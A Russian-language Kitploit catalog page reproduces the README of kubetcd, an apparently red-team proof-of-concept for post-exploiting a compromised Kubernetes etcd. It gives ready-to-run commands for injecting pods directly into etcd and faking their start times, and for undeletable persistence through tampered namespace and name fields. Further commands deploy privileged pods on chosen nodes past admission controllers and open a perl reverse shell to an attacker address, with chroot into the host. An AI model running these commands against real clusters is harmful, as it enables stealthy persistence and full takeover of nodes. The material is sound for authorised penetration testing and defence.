Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
kubetcd — Постэксплуатация скомпрометированного etcd: закрепление (persistence) и удалённая оболочка на узлах. | Kitploit
Инструменты/GitHubGitHub/nccgroup/kubetcd
Повышение привилегийБезопасность контейнеровМеханизмы персистентностиЛатеральное перемещениеПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHubnccgroup/kubetcd

kubetcd

Постэксплуатация скомпрометированного etcd: закрепление (persistence) и удалённая оболочка на узлах.

Репозиторий
9472 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Kubetcd

Обёртка над https://github.com/jpbetz/auger.

Инструмент автоматизирует развертывание подов путём прямой записи в etcd. Включает несколько функций для постэксплуатации скомпрометированных etcd.

Отказ от ответственности

[!WARNING]
Это PoC, не используйте его в производственной среде. Прямая запись в etcd может привести к несогласованности или повреждению данных, из-за чего логика kube-apiserver может не смочь получить или обработать данные из etcd. Тестовые среды с несколькими узлами можно развернуть с помощью KIND

Почему?

Основной репозиторий auger предоставляет основные функции для сериализации и десериализации protobuf-записей в etcd. Kubetcd — это PoC, который оборачивает эти функции, чтобы приблизить etcdctl к обычному клиенту kubectl. В сценарии со скомпрометированным etcd kubetcd попытается использовать модифицированные и привилегированные поды для получения закрепления и привилегированного доступа к любому/всем хосту(ам) в кластере. Обратите внимание: в настоящее время kubetcd поддерживает только операции с подами.

Требования

Kubetcd берёт сертификаты и ключи для аутентификации в сервисе etcd из следующих путей по умолчанию:

  • /etc/kubernetes/pki/etcd/ca.crt
  • /etc/kubernetes/pki/etcd/server.crt
  • /etc/kubernetes/pki/etcd/server.key (этот файл доступен для чтения только root)

Кроме того, конечная точка по умолчанию задана как 127.0.0.1:2379

Все указанные выше значения по умолчанию можно изменить с помощью параметров.

Также должен быть установлен etcdctl — клиент для etcd.

root@kitploit:~
sudo apt install etcd-client

Установка

Клонируйте и соберите:

root@kitploit:~
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .

Известные проблемы

Вы можете столкнуться со следующей ошибкой:

root@kitploit:~
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)

Если это произошло, соберите kubetcd с помощью Golang 1.19.

Об основных функциях auger, которые по-прежнему доступны, см. https://github.com/jpbetz/auger. В этом README описаны только добавленные новые функции обёртки:


Запуск kubetcd

root@kitploit:~
./kubetcd -h

Получение объектов

root@kitploit:~
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>

Создание нового пода

templateName должен быть запущенным подом в пространстве имён default:

root@kitploit:~
./kubetcd create pod <name> -t <templateName>

Вы можете перезаписать запущенный под, просто задав одинаковые значения name и templateName.

Смена образа

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --image <image>

Подделка времени запуска

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"

Закрепление через несогласованные данные

ETCD сохраняет новые поды в /registry/pods/<namespace>/<name>, но поля namespace и name могут быть подделаны. В таком случае эти поды можно перечислить с помощью kubectl, но нельзя удалить.

root@kitploit:~
./kubetcd create pod <name> -t <templateName> -p <randomentry>             
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace

Развертывание на конкретном узле

Развертывайте рабочую нагрузку на любом узле по своему усмотрению:

root@kitploit:~
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>

Обход AdmissionControllers

Развертывайте привилегированные поды в ограниченных пространствах имён. Это позволит обойти встроенные AdmissionControllers, такие как PSP, PSA, или любые другие политики, основанные на настраиваемых правилах, например OPA Gatekeer или Kyverno:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P 

Флаг -P установит для любого пода статус privileged и будет использовать общие пространства имён network, PID и IPC с базовым узлом.

Обратная оболочка (reverse shell)

Развертывайте привилегированные поды в ограниченных пространствах имён и получайте удалённую оболочку:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>

Это запустит обратную оболочку на perl, которая по умолчанию присутствует во многих образах. Получив обратную оболочку, смените корневую файловую систему с помощью chroot /host, чтобы получить полный доступ к узлу.

TODO

  • Добавить поддержку других бинарников — не только perl — для получения удалённой оболочки
  • Добавить поддержку использования шаблонов из пространств имён, отличных от default
  • Добавить поддержку создания/получения/удаления элементов вне ветки corev1
Скачать инструмент